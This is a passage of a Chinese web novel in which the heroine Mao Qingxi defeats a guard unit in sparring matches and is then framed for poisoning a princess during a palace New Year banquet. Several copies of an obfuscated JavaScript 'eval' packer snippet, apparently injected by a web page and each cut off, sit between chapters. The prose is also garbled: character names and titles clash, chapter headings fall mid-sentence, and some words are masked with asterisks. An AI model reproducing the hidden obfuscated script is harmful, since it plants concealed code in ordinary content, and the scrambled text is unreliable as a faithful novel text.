“可要是你们谁赢了我,你们将军,重重有赏!” “真的?!”王煊一听这话,眼睛都亮了,摩拳擦掌的。 不过转念一想,又嘿嘿笑了两声, “那个,我尽量轻点,保证不伤着夫人您。” 台下众人见冀容白没反对,茅清兮也应了战,一个个顿时来了精神。 打不过冀容白,还打不过他媳妇? 这事儿说出去是有点不爷们。 可规矩就是规矩,上了擂台,谁赢谁说了算! 茅清兮目光流转,落在了擂台的旗子上: “我听说,你们鹰羽卫有个说法,在这擂台上站得越久的,本事越大?” “那是自然!”王煊头一昂,颇为自得。 “哦?”茅清兮尾音微微上扬,“那现在,谁站的时间最长?” 王煊更得意了: “四十六场!我们老大,冀容白创下的!” 这规矩,还是冀容白自己定的。 用他的话说,这叫“以战养战”。 既能磨练手底下这帮人的本事,又能长他们的志气。 平日里闲着也是闲着,正好拿来活动活动筋骨。 当然,这擂台,也是个罚人的好地方。 想当初,富峻就被罚在这上面站了三十场。 这擂台,可不管你是谁。 哪怕你是个刚入伍的小兵,只要有本事,也能把将军掀翻。 前提是,你别被一脚踹下去。 所以,只要有人守擂,下面就有一群人排着队往上冲。 打不过? 没事,耗着呗! 等你啥时候没力气了,自然就容易对付了。 富峻一听“守擂”这俩字就脑袋疼。 人又不是机器,哪能连轴转几十场不带歇的? 也就两年前,冀容白还没出事那会儿,生猛得很。 一个人,愣是在这擂台上站了四十六场。 把下面那些人给打得,一个个都服气了,后来愣是没人敢再上去。 这记录,到现在也没人能破。 富峻轻功再好,撑到三十场也得累瘫了。 茅清兮眼神微微一动,朝高台上的冀容白瞥了一眼。 冀容白眉梢轻轻一挑。 他分明看见,宋九 清兮眼里,闪着跃跃欲试的光。 那一瞬间,冀容白有点心疼手底下那帮人。 可紧接着,他又觉得这事儿有意思起来。 茅清兮收回视线,手指在三寒霜的剑身上轻轻滑过: “既然这是你们定下的规矩,那便照你们的规矩来玩。” “我,茅清兮,今天就在这儿,谁想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不必。”茅清兮直接打断了她的话,语气淡淡的,“直接动手吧,省得浪费时间。 第二百六十三章 ” 尤明月差点没被她给气笑了,冷哼一声,提剑就上。 尤明月的剑法,走的是刚猛的路子。 这一点,茅清兮早就看出来了。 但她手里的三寒霜,丝毫不惧。 冰冷的剑锋,带着一股凌厉的气势。 两剑相交,尤明月只觉得虎口一麻。 她心里一惊,手腕都有些发颤。 二人瞬间分开。 台下响起一片叫好声。 茅清兮的剑法、身法,都稳得让人心惊。 十招刚过,尤明月就觉得胳膊越来越沉。 原本还能主动出击,现在却只能被动防守。 不过短短十招,就被逼得连连后退! 尤明月咬紧牙关,硬撑着跟茅清兮过招。 高台上,冀容白神色如常。 富峻倒是兴奋得很,扯着嗓子给茅清兮加油。 墨川的脸色就有些微妙了。 他想起当初,他和富峻不知天高地厚,跑去跟夫人过招。 结果,被虐得体无完肤。 这才过了多久,夫人的功夫,竟是更上一层楼了。 他甚至开始担心,万一今天鹰羽卫被夫人给打趴下了,以后还怎么带兵? 十六招。 茅清兮的三寒霜,稳稳地停在了尤明月的胸前。 而尤明月的剑,离茅清兮还差得远呢。 尤明月只觉得一股寒意从脚底直窜头顶,握剑的手,微微颤抖。 只要这剑再往前一寸,她就没命了。 可茅清兮偏偏就停在了那儿,不多不少,正好让她动弹不得。 这滋味,比当众挨一耳光还难受! 尤明月脸色煞白,额头上,冷汗涔涔而下。 茅清兮缓缓收回剑,用手指轻轻弹了一下剑身。 清越的剑鸣声,在空中回荡。 茅清兮抬起头,眼神清冷: “你输了。”“你输了。” 简简单单的三个字,却像三柄小锤,轮番敲打尤明月的心房。 她死死攥着剑柄,指甲掐进肉里,掌心一片濡湿。 抬眼望向茅清兮,那张素来冷清的脸,此刻却仿佛在嘲笑她的不自量力。 “我输了?” 不可能! 这三个字,她死死咬住,绝不出口。 擂台下,众人屏息凝神,大气都不敢出。 原本喧闹的校场,此刻静得落针可闻。 大家你看看我,我看看你,都从对方眼中看到了难以置信。 胜负来得太快,就像一阵风,吹过就没了痕迹。 茅清兮收回三寒霜,轻轻一弹,剑身嗡嗡作响。 她并没看呆若木鸡的尤明月,只是淡淡开口: “下一个。” 王煊一个激灵,回过神,连忙应声: “到!” 他一个虎扑跃上擂台,心里直打鼓: 这么快就结束了? 尤明月回神,台下那些目光,同情、疑惑、不解,像针扎一样难受。 她“腾”地跳下擂台,一言不发,低着头快步离开。 众人的视线都聚焦在擂台上,谁也没注意她的落寞。 只有墨川,朝她离开的方向看了一眼,心中轻轻叹气: 这丫头,今天可栽了个大跟头。 不过,他很快就收回了心思,反正一会儿有的是人下去陪她,也不差这一个。 目光回到擂台。 王煊的大刀已经挥了起来,挟着风声,朝茅清兮当头劈下。 这家伙,身形魁梧,力大无穷,活脱脱一头人形巨熊。 在鹰羽卫,能跟他硬碰硬过上几招的,两只手就能数过来。 茅清兮却毫不畏惧,身形一侧,轻盈避开。 脚尖在王煊肩头一点,借力弹开。 王煊只觉得肩头一麻,仿佛被蚊子叮了一口。 他眉头一皱,这女人,看着娇滴滴的,力气倒是不小。 他稳住下盘,健壮的肩部肌肉虬结,像铁块一样硬。 茅清兮见状,也不硬拼,身形一转,落在了擂台另一边。 王煊得势不饶人,大刀挥舞得虎虎生风,步步紧逼。 每一刀都带着千钧之力,要把茅清兮劈成两半。 茅清兮却像一只翩跹起舞的蝴蝶,身法灵动,总能恰到好处地避开。 她的剑法更是精妙,轻盈,飘逸,变幻莫测。 三寒霜在她手中,仿佛有了生命,时而如明川拂柳,时而如疾风骤雨。 看似软绵绵的,却暗藏杀机。 当剑锋与王煊的刀刃相交,就如同绕指柔,将那狂暴的力量化为无形。 王煊越打越是心惊,他感觉自己一身的力气,都打在了棉花上,软绵绵的,使不上劲。 想抽刀,刀却像被黏住了一样,动弹不得。 “喝!” 他怒吼一声,全身青筋暴起,拼尽全力想要挣脱。 可茅清兮的剑,却如影随形,始终缠绕着他的刀。 他只能硬着头皮,挥起另一只拳头,朝茅清兮砸去。 台下众人惊呼出声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一坛酒,虽然也不错,但跟刚才夫人的赏银比起来,可就差远了。 第二百六十四章 就在这时,富峻突然插了一句: “要是输了呢?输了就绕着校场跑十圈!” 他挤眉弄眼地朝墨川使了个眼色。 墨川一愣,随即明白过来,这小子,是想借机整顿一下军纪。 他咳嗽一声,清了清嗓子,补充道: “没错!输了的,绕校场跑十圈!都听清楚了没有?” 这下,众人的情绪又被调动起来。 赢了有酒喝,输了也不亏,反正就当锻炼身体了! “我来!” 一个声音响起,一个精瘦的汉子跳上了擂台。 他朝茅清兮一拱手: “夫人,得罪了!” 说完,他拔出腰间的佩刀,朝茅清兮冲了过去。 这汉子,身手灵活,刀法凌厉,一看就是个练家子。 茅清兮也不含糊,手腕一抖,三寒霜迎了上去。 两人你来我往,斗得难解难分。 台下,俞霜不知何时搬来了一张桌子,上面摆满了铜钱和碎银子。 他站在桌子后面,扯着嗓子喊: “来来来,下注了啊!赌输赢,赌招数,买定离手!” 这下,场面更热闹了。 士兵们纷纷围了上来,掏出自己的私房钱,押在了自己看好的人身上。 富峻看得眼热,也想凑过去玩两把。 墨川一把拉住他: “你小子凑什么热闹?主子还差你那几个钱?” 富峻嘿嘿一笑: “这不是图个乐子嘛。” “乐个屁!” 墨川瞪了他一眼, “你给我老实待着!别忘了自己的身份!” 他压低声音, “夫人这是在给咱们立威呢!你小子别给我添乱!” 富峻这才悻悻地收回了手。 擂台上,茅清兮与那精瘦汉子已经斗了二十多招。 那汉子渐渐落入下风,被茅清兮逼得连连后退。 终于,一个不慎,被茅清兮一剑挑飞了兵器。 “承让。” 茅清兮收剑,淡淡地说道。 那汉子一脸羞愧,朝茅清兮拱了拱手,默默地退了下去。 接下来,又陆续有人上台挑战。 茅清兮来者不拒,一一应战。 有的人,身手不错,能跟她过上十几招。 有的人,却差得远,三两下就被她打发了。 俞霜那边,银子像流水一样哗哗地往外淌。 他却乐得合不拢嘴。 这些钱,可都是从那些输了的家伙身上赢来的! “还有没有人了?” 茅清兮又一次将对手击败,开口问道。 “五十六场。” 冀容白淡淡的声音传来。“行了,今天就到这儿吧。” 茅清兮点点头,回身时,唇边绽开一抹笑。 话音未落,她已足尖轻点,身形如飞燕般掠下擂台,稳稳地落在冀容白身前。 擂台下,鹰羽卫的将士们面面相觑,一时鸦雀无声。 半晌,才有人回过神,一张张脸涨得通红,火辣辣的。 之前还信誓旦旦地嘲笑人家,现在呢? 整个鹰羽卫,竟找不出一个能打得过夫人的! 羞愧,真是羞愧! 更别说,他们还厚着脸皮收了夫人的赏银。 人群里,王煊那张粗犷的脸红得几乎能滴出血来。 他是真心服了茅清兮,可越是服气,心里就越不是滋味。 手里攥着那一百两银子,沉甸甸的,像块烧红的烙铁,烫得他恨不得找个地缝钻进去。 “我说老王,你这是咋了?跟被开水烫了似的。” 旁边一个相熟的总兵见他这副模样,忍不住打趣道。 “我……我就是觉得没脸见人……” 王煊的声音闷闷的,头垂得更低了。 他这副模样,倒是惹得手下的兵卒们一阵哄笑。 茅清兮走到冀容白近前,俞霜眼疾手快,忙将三寒霜接过,又取来大氅,要给茅清兮披上。 “不用,我不冷。” 茅清兮随意地挥了挥手。 刚刚活动开了,只觉得浑身舒畅。 冀容白看着她,眼底盛满了笑意: “娘子今天可真是威风八面,有没有尽兴?” “你呢?” 茅清兮转过头,目光灼灼地盯着他, “你的毒解了,也该好好调养过了,我可是一直等着和你过招呢。” 她是真的期待。 从前只听说冀容白如何厉害,如今毒解了,总算有机会亲眼见识。 冀容白微微一怔,眼神闪烁了一下。 他想起之前在碧云楼的伪装,那时他还故意占了茅清兮的便宜…… 这事,还是越少人知道越好。 他清了清嗓子,掩饰住那一瞬间的不自然,岔开话题: “娘子今天出手大方,赏出去的可不少,要不要为夫给你补上点儿?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹰羽卫们见他这般有毅力,心中也暗暗佩服。 不过,佩服归佩服,这并不妨碍他们每个人都想跟他过过招,然后……把他打败。 这种隐秘的心思,大家都心知肚明。 第二百六十五章 十几场比试下来,长明身上挂了彩,可鹰羽卫们的心情却好了不少。 茅清兮一直没吭声。 长明也咬着牙,一声不吭,继续挑战。 一旁的富峻实在看不下去了。 “我说你们,还要不要脸了?这么多人,欺负一个孩子,算什么本事?” 他冷哼一声,语气中满是不屑, “他才学了多久的武?你们心里没数吗?有本事,你们跟夫人打去啊!” 这话说得鹰羽卫们脸上火辣辣的。 一个习武才半年的人,都能在他们手底下过上十几招…… 他们这脸,真是丢到家了。 长明站在擂台上,只觉得浑身的力气都快用尽了。 但他还是强撑着,开口道: “能跟各位前辈切磋,是我的荣幸。输赢不重要,重要的是,我学到了很多。” 这番话,倒是让鹰羽卫们心里舒服了些。 可经历了今天这一连串的打击,他们哪还敢把自己当回事? 一个个都觉得脸上无光。 操练的时间到了,墨川过来整队。 冀容白虽然是鹰羽卫的将军,但平时看起来,实在不怎么像个将军。 脸色总是苍白的,人也懒洋洋的。 不过,没人敢说什么。 他们都见过他在战场上浴血奋战的模样。 “今天中午,伙房弄来了几头野猪,说是要给大家加餐。” 墨川的声音在校场上空回荡。 “夫人也去?” 冀容白问了句。 “当然。” 茅清兮笑着点点头。 军营的伙食,跟澜府自然是没法比。 但她也不是娇气的人。 更何况,她还挺怀念这种氛围的。 几个人一起来到伙房,就见几头野猪已经被架在火上烤了。 香气四溢,引得人食指大动。 那些鹰羽卫见了他们,一个个都站得笔直,恭恭敬敬地行礼。 茅清兮笑着朝他们点了点头,走到烤架前。 “我来吧。” 她对伙房的士兵说。 那士兵吓了一跳,连忙摆手: “使不得,使不得,这等粗活,怎么能让夫人动手?” “没事儿,” 茅清兮笑着打断他, “我手艺还行,保证烤得比你们好吃。” 那士兵还是有些犹豫,转头看向冀容白。 冀容白微微颔首,示意他退下。 士兵这才放下心来,把位置让给了茅清兮。 茅清兮熟练地拿起刀,在野猪身上划了几下,又撒上各种调料。 没过多久,香气就更浓郁了。 周围那些军营汉子们,一个个都忍不住吞口水。 “好了,你们分了吧。” 茅清兮切下一大块烤得金黄的肉,余下的全部分给兄弟们。 她端着那盘肉,走到冀容白面前,递给他: “尝尝,这是我特意给你留的。” 先前贤王来府里的时候,提过一嘴炙鱼的事,如今正好。 冀容白看着她,眼底的笑意,像是春日里的暖阳,温柔得能把人融化。烤肉的香气,像一只只无形的小手,粗暴地撕扯着军营里每一个人的神经,口水在口腔里疯狂分泌。 冀容白意犹未尽地舔了舔嘴角,刚想再撕一块肉,一转头,动作僵住。 空了。 那只原本被烤得金黄流油、滋滋作响的野猪,此刻只剩下一副光秃秃的骨架,孤零零地躺在那里,仿佛在嘲笑着他的后知后觉。 冀容白的脸,黑得像锅底。 平日里,这群兔崽子见了他,哪个不是腿肚子打颤?恨不得把头低到裤裆里。可现在,一个个眼睛里只有肉,哪还记得他这个将军? “还有两头呢!我给你们烤!” 茅清兮清脆的声音,带着一丝难以察觉的笑意,在喧闹的军营里格外清晰。 话音未落,欢呼声如炸雷般响起,震得人耳膜嗡嗡作响。 几个反应快的,已经围到了茅清兮身边,一个赛一个大声地嚷嚷着: “夫人威武!” “夫人烤的肉,能多吃三碗饭!” “跟着夫人,有肉吃!” 茅清兮被这群直肠子的兵逗笑了。她喜欢这种氛围,没有那么多虚头巴脑的东西,一是一,二是二。 战场上,他们是铁骨铮铮的汉子;下了战场,他们就是一群没心没肺的吃货。 说话间,剩下的两头野猪也烤好了。 将士们一拥而上,将烤肉分了个干净。 说是分,其实就是抢。 一个个吃得满嘴流油,心满意足。 茅清兮在军营里又待了会儿。冀容白?他正忙着检验士兵们有没有偷懒,一个个被他练的嗷嗷直叫。 茅清兮的视线扫过训练场,最终停留在角落里的一个小型擂台上。 长明正在那儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太子**,如临大敌,四处奔走,为太子鸣冤。 “脱去冕服,以证清白! 第二百六十六章 ” 太子也是个狠人,直接将自己送进了刑部大牢。 这一下,**更乱了。 有人说太子是被冤枉的,有人说太子罪有应得,还有人说…… 安王府内,宁王来回踱步,脸色阴晴不定。 “父皇到底是什么意思?” 他实在猜不透皇帝的心思。 按理说,太子出了这么大的事,他应该高兴才对。 可不知为何,他心里却隐隐有些不安。 刑部,大理寺,都察院。 三法司的官员们,连夜审理此案。 明溪的证词,触目惊心。 她说,太子一直嫌弃潘氏出身低微,新婚当夜,就逼着潘氏喝下了避子汤。 一年后,太子醉酒,潘氏意外怀孕。 但王储压根就不愿留下这个骨肉。 于是,他买通了产婆,在潘氏生产时,制造了一场意外…… 明溪说,她亲眼目睹了这一切。 为了保命,她逃出了太子府,隐姓埋名多年。 如今,她终于鼓起勇气,说出了真相。 然而,刑部从太子府旧人那里得到的证词,却与明溪所说大相径庭。 一真一假,究竟该相信谁? 决定权,在皇帝手中。 但皇帝迟迟没有表态。 这让朝堂上的气氛,变得越发诡异起来。凛冽寒风中,夹杂着细碎的雪粒子,扑打在人脸上,生疼。 新年将至,澜府上下却是一派喜气洋洋。 紫姨忙前忙后,指挥着绿绿几个丫头,把府里布置得焕然一新。 大红的锦缎,斗大的“福”字,还有茅清兮亲手剪的窗花,透着一股子喜庆劲儿,把这冬日的清冷都驱散了不少。 冀容白身子骨刚好利索,今年这年,过得格外有滋味。 茅清兮也头一回在澜府过年,里里外外都透着新鲜。 长明一下值,就从鹰羽卫营里赶了回来,一进门就嚷嚷着要帮忙。 茅飞羽也眼巴巴地想留下,可他是宋家嫡子,大过年的,哪能撇下老子不管? 到底还是被茅老爹给拎回去了,临走时,那叫一个依依不舍。 日头刚偏西,宫里就来了人。 内侍监的吉公公,脸上笑成了一朵菊花,手里捧着明黄的圣旨,尖着嗓子道:“圣上有旨,宣苏将军、臧夫人——进宫赴宴!” 宫里的年夜宴,年年都有。 只是往年,去的都是些皇亲国戚。 今儿个,圣上单单点了冀容白的名…… 这意思,明眼人都瞧得出来。 不过,圣上给的由头,也说得过去。 冀容白小时候在宫里住过,如今单独开了府,圣上念旧情,请他进宫热闹热闹,也算合情合理。 至于旁人怎么想,那就不是他们该操心的了。 茅清兮扶着冀容白,登上了马车。 辘辘的车轮声中,两人朝皇宫驶去。 到了宫门口,正巧遇上了贤王。 “容白,你这身子,可大好了?”贤王快步上前,关切地问。 冀容白微微颔首:“已无大碍,感激王爷挂念。” “那就好,”贤王松了口气,上下打量他一番,“你这两年,可没少遭罪,如今毒解了,往后可得好好将养着。” 正说着,又有几辆马车,在宫门口停下。 按规矩,进了宫门,就不能再乘坐车马了。 众人纷纷下车,一时间,衣香鬓影,好不热闹。 太子钱云霄和宁王,也一前一后到了。 看见冀容白,两人脸上的笑容,都微微僵了下。 不过,都是成了精的人物,转瞬间便又恢复如常,上前与冀容白寒暄起来。 来的都是皇亲贵胄,冀容白和茅清兮,自然得执晚辈礼。 一番见礼后,众人才往宫内行去。 冀容白身姿挺拔,气度卓然。 寒星露的毒一去,他身上那股子病恹恹的劲儿,也跟着消失不见了。 本就生了副好皮囊,如今更是俊朗非凡。 宁王大腹便便,太子也略微发福。 一比之下,竟只有个身形清瘦的贤王,能勉强与冀容白比肩。 只是,贤王终究是个闲散王爷。 他身上的温润气质,又怎及得上冀容白这般,从沙场上摸爬滚打出来的凌厉? 哪怕他只是随意地站着,也像一头蓄势待发的猛兽,随时都可能扑上来,咬断人的喉咙。 太子和宁王面上带笑,心里头怎么想,就只有他们自己知道了。 进了宫,自有内侍引路。 冀容白被安排在了御案下首,右手边的第一个位置。 太子正襟危坐于他面前,宁王紧挨着太子。 这位置,安排得颇有深意。 冀容白却像没事人一样,坦然落座。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔谋早已在车内等候,见了他,躬身行礼:“殿下。” “这就是你的‘妙计’? 第二百六十七章 ”钱云霄的声音,像是从牙缝里挤出来的,“让孤在刑部大牢里,足足待了三天!你让天下人,如何看待孤这个太子?” 他原本还想斥责孔谋“馊主意”,但转念一想,还是把“馊”字咽了回去。 孔谋抬起头,眼中闪过一丝不易察觉的嘲讽,面上却依旧恭敬:“殿下,如今朝野上下,皆称赞您光明磊落,胸怀坦荡。” 钱云霄闻言,脸色稍霁。 若非听了孔谋的建议,想借此事收买人心,他又怎会自降身份,去那等污秽之地? 好在,这番罪,总算没白受。 钱云霄强压下心头的怒火,问起朝中的风向,以及皇帝的态度。 得知皇帝对刑部呈上的证词不置可否,他的脸色,又阴沉了几分。 “父皇心里,到底还有没有我这个儿子?”钱云霄的声音,带着一丝压抑不住的颤抖,“竟然任由一个低贱的婢女,如此污蔑于我!” 孔谋连忙劝道:“殿下慎言!” 钱云霄冷哼一声,眼中杀机毕露:“那个贱婢,还在刑部大牢里?孤定要让她,生不如死!” “殿下息怒,”孔谋不慌不忙地劝道,“眼下龙意难测,倘若这姑娘香消玉殒,反而会惹来更多麻烦。” 他顿了顿,又补充道:“不如等风头过了,再……” “这也不行,那也不行,”钱云霄怒极反笑,“难道孤这个太子,就只能任人欺凌不成?” “自然不是,”孔谋的声音,依旧平稳,“请殿下稍安勿躁,此事,自有臣来安排。” 钱云霄深深地看了他一眼,眼底闪过一丝阴霾。 这孔谋,莫不是真以为,自己可以对他发号施令了? 他要做什么,自有决断,何须事事听从一个臣子的安排? 钱云霄心中不悦,却也清楚,孔谋的确有几分本事,眼下还用得着他。 他没有再说什么,只是重重地哼了一声,算是暂时揭过了此事。 孔谋垂下眼睑,遮住了眸中的情绪。宫廷夜宴,教坊司的歌舞姬们裙袂翻飞,身姿曼妙,似月似幻。 丝竹管弦,声声悦耳。 座上的宾客,无不露出陶醉之色。 可这陶醉,是真是假? 当今圣上不好声色,这是天下皆知。 立国至今,宫中选秀不过两次,算上来年开春,也才三次。 上有所好,下必甚焉。 天子不喜奢靡,皇子亲贵,朝中大臣,自然也就不敢明目张胆地沉溺享乐。 就算心里有些想法,也要藏着掖着,不敢表露。 毕竟,马屁拍到马腿上,得不偿失。 一曲舞毕,余音绕梁。 圣上起身,携众人移步殿外,共赏烟花。 锦衣卫早就得了令,严加戒备。 他们打起十二分精神,紧绷着神经,不敢有丝毫松懈。 直到烟花散尽,夜幕降临。 少顷,冀容白被吉公公引至养心殿。 茅清兮则在偏殿静候。 她知道,圣上并不喜欢她。 这不喜欢的原因,大约是因为她娘亲。 娘亲的死,迷雾重重。 但茅清兮心里清楚,当今圣上,脱不了干系。 混迹宫廷的老油条们,在她娘亲的遗物里翻箱倒柜,寻找所谓的“玄机图”…… 若说背后没有圣上的影子,谁信? 可让茅清兮疑惑的是,入京之前,娘亲以女子之身,封青霜将军,名动天下。 这说明,圣上对娘亲的才能是认可的,是求贤若渴的。 那为何,入京之后,娘亲却推辞了所有封赏,甘愿隐居内宅? 从前,茅清兮以为是父亲茅文昭阻挠。 毕竟,女子抛头露面,不合规矩。 可如今,她慢慢明白,事情没那么简单。 圣上真正想要的,是娘亲身上的“玄机图”。 娘亲退避,也许,是无奈之举。 但是……这玄机图,真的在娘亲身上吗? 茅清兮的眉,微微蹙起。 如果在,娘亲为何不交? 这东西留在手里,就是个祸根。 若不在,又会在哪? 娘亲已投身大晋,如果这玩意儿真是寻宝的秘密,献给皇室,岂不是能省去许多麻烦? 茅清兮不相信娘亲会贪图宝藏。 她了解自己的娘亲,那是个光明磊落的女子。 那么,就只有一个可能——玄机图,根本不在娘亲手里。 可即便娘亲否认,那些暗中窥视的人,恐怕也只当是借口。 茅清兮的心,沉了下去。 她把与此事相关的人,在心里过了一遍。 每个人,都欠她一笔债。 “臧夫人,贵妃娘娘有请。” 思绪被宫女的声音打断。 她朝茅清兮行礼,姿态恭敬。 茅清兮回过神,点点头,将纷乱的思绪压下。 养心殿内。 圣上示意冀容白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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圣上却摆手,一边咳,一边说。 没等冀容白问,吉公公已经从怀里拿出一个瓷瓶,倒出一粒红色的药丸。 冀容白皱眉。 圣上服下药,咳嗽渐渐停了,脸色也好了些。 “陛下,这药……是白苏道人炼的?” 冀容白忍不住问。 “太医院的人看过没有?” “放心,都看过了。” 圣上笑着说。 “白苏道人在丹道上,有些本事,他炼的药,能缓解朕的病痛。” 冀容白的关心,让圣上觉得很暖心。 这比后宫那些莺莺燕燕,还有皇子公主们的问候,更让他受用。 “容白,这些年,苦了你了。” 圣上语气一转,带着歉意。 “不过你放心,只要你在京城,就没人敢动你。” 他脸上的笑容,突然消失。 取而代之的,是冰冷的威严。 “这些人,不是跟着太子,就是跟着宁王,一个个都跟那些世家大族搅和在一起!” 圣上的声音,在空旷的大殿里回荡。 “才安稳了几天?就想翻天?!” 他的手,重重地拍在桌案上。 “这天下,还是朕说了算!” “谁敢动你,朕就剁了他的爪子!” 圣上喘着粗气,胸口剧烈起伏。 吉公公连忙送上一杯茶。 圣上喝了茶,勉强压下怒火。 他看着冀容白,意味深长地说: “只要朕还没死,那些人的手,就伸不了那么长!” 冀容白的眼神,变得复杂,但他没说话。 圣上也不介意。 从冀容白答应去兵部的那一刻起,他就已经安心了。 冀容白离开后,圣上望着他远去的方向,出神。 “吉禄,你说……朕这么做,她会不会……来见朕一面?” 他甚至没用“朕”这个自称,语气里,是掩饰不住的悲凉。 老太监抬眼瞄了下,又低下头。 圣上是真的老了。 这一生,他功成名就,坐拥天下,享尽荣华。 可到了这把年纪,他心里想的,却还是那一个人。 “皇上铁定能遇上心心念念的那位。” 吉公公轻声说。 圣上听了,也不知信没信,只是笑了笑。“茅清兮,你可知罪?!” 尖锐的质问声如平地惊雷,震得人心口发麻。 栖鸾殿内,烛火摇曳不定,映照着尹贵妃那张因愤怒而扭曲的面孔。 她一个箭步冲上前,用力推开茅清兮,力道之大,让茅清兮连退数步,险些跌倒。 “芍兰!我的芍兰!” 尹贵妃扑到四公主身边,声音颤抖,小心翼翼地探向她的鼻息。 平日里保养得宜、光鲜亮丽的脸,此刻写满了惊恐与慌乱。 四公主面色乌青,嘴唇不住地颤抖,已是奄奄一息。 “在本宫的眼皮子底下,你竟敢谋害公主?!” 尹贵妃猛地抬起头,目光如淬了毒的利箭,死死盯着茅清兮,恨不得将她生吞活剥。 茅清兮跪在冰冷的金砖上,背脊挺得笔直,双手紧握,指甲深深嵌入掌心。 她明白,自己落入了一个精心设计的陷阱。 “公主**了!快!快传太医!” 老嬷嬷抱着四公主,声嘶力竭地哭喊着,声音嘶哑,在这空旷的大殿内回荡,更添了几分凄凉。 宫人们如无头苍蝇般四处乱窜,却不得章法。 茅清兮缓缓抬起头,目光平静地扫过在场的每一个人。 尹贵妃抱着四公主,泪眼婆娑,可眼底深处,却闪烁着算计的光芒。 老嬷嬷跪在一旁,捶胸顿足,哭声震天,却更像是在……演戏。 宫女们看似忙碌,却毫无头绪,这混乱的场面,倒像是一出早已排练好的戏码。 茅清兮嘴角勾起一抹若有似无的冷笑。 这戏,演得可真够逼真。 只是,这出戏,究竟唱的是哪一出? 仅仅是想让她亲眼看着四公主受苦,心生愧疚? 不。 茅清兮深知尹贵妃的为人。这个女人,心狠手辣,城府极深,绝不会做这种无聊的把戏。 两次会面,她们都心照不宣,彼此都是聪明人。做了就是做了,绝不会假惺惺地**愧疚这种低级的手段。 那么,她究竟想做什么? “贵妃娘娘息怒……”茅清兮深吸一口气,强迫自己冷静下来,缓缓开口,“臣妇……冤枉。” “冤枉?” 尹贵妃冷笑一声,笑声里充满了轻蔑与嘲讽。 “这糕点,可是本宫亲手挑选,特意为芍兰准备的。她平日里就贪嘴,本宫怕她吃多了不消化,一直拘着她。” 她顿了顿,眼神如刀子般刮过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她倒想看看,尹贵妃费尽心机,设下这个圈套,究竟是为了什么。 难道,仅仅是为了置她于死地? 被宫人押解着,穿过一道道沉重的宫门,来到阴冷潮湿的天牢。 第二百六十九章 霉味扑鼻,令人作呕。 茅清兮却面不改色,静静地坐在干草铺成的“床”上,闭目养神,仿佛身处自家后院一般,悠然自得。 不知过了多久,牢房外传来一阵脚步声,由远及近。 茅清兮缓缓睁开眼睛,眸中闪过一道锐利的光芒。 尹贵妃来了。 她款款而来,一身华服,妆容精致,与这阴暗潮湿的天牢格格不入,仿佛是从另一个世界降临的仙子。 身后,几名宫女亦步亦趋,手中捧着托盘,上面摆放着几样精致的菜肴,还有一壶酒。 “臧夫人,让你受委屈了。” 尹贵妃站在牢门外,脸上带着虚伪的歉意,声音却依旧高高在上。 “只是,为了给芍兰一个交代,本宫……不得不如此。” 茅清兮缓缓起身,走到牢门前,与尹贵妃隔着一道冰冷的铁栅栏对视。 “贵妃娘娘,您究竟想做什么?” 她声音平静,听不出丝毫情绪波动。 尹贵妃微微一笑,笑容中带着一丝得意和残忍。 她示意宫女将托盘放下,然后,缓缓开口: “臧夫人,今夜是除夕,宫中设宴,本宫特意为你准备了这些酒菜。” “你我之间,也算……故人。这顿饭,就当是本宫……为你送行。” 茅清兮看着那些精致的菜肴,心中冷笑。 送行? 只怕,这是断头饭吧。 “贵妃娘娘,这是何意?” 茅清兮不动声色,淡淡地问道。 “臧夫人,你是聪明人。” 尹贵妃收敛了笑容,眼神变得锐利如刀。 “本宫的女儿,如今成了这副模样,难道……你不该负一点责任吗?” “四公主变成这样,并非臣妇所为。” 茅清兮语气坚定,没有丝毫退缩。 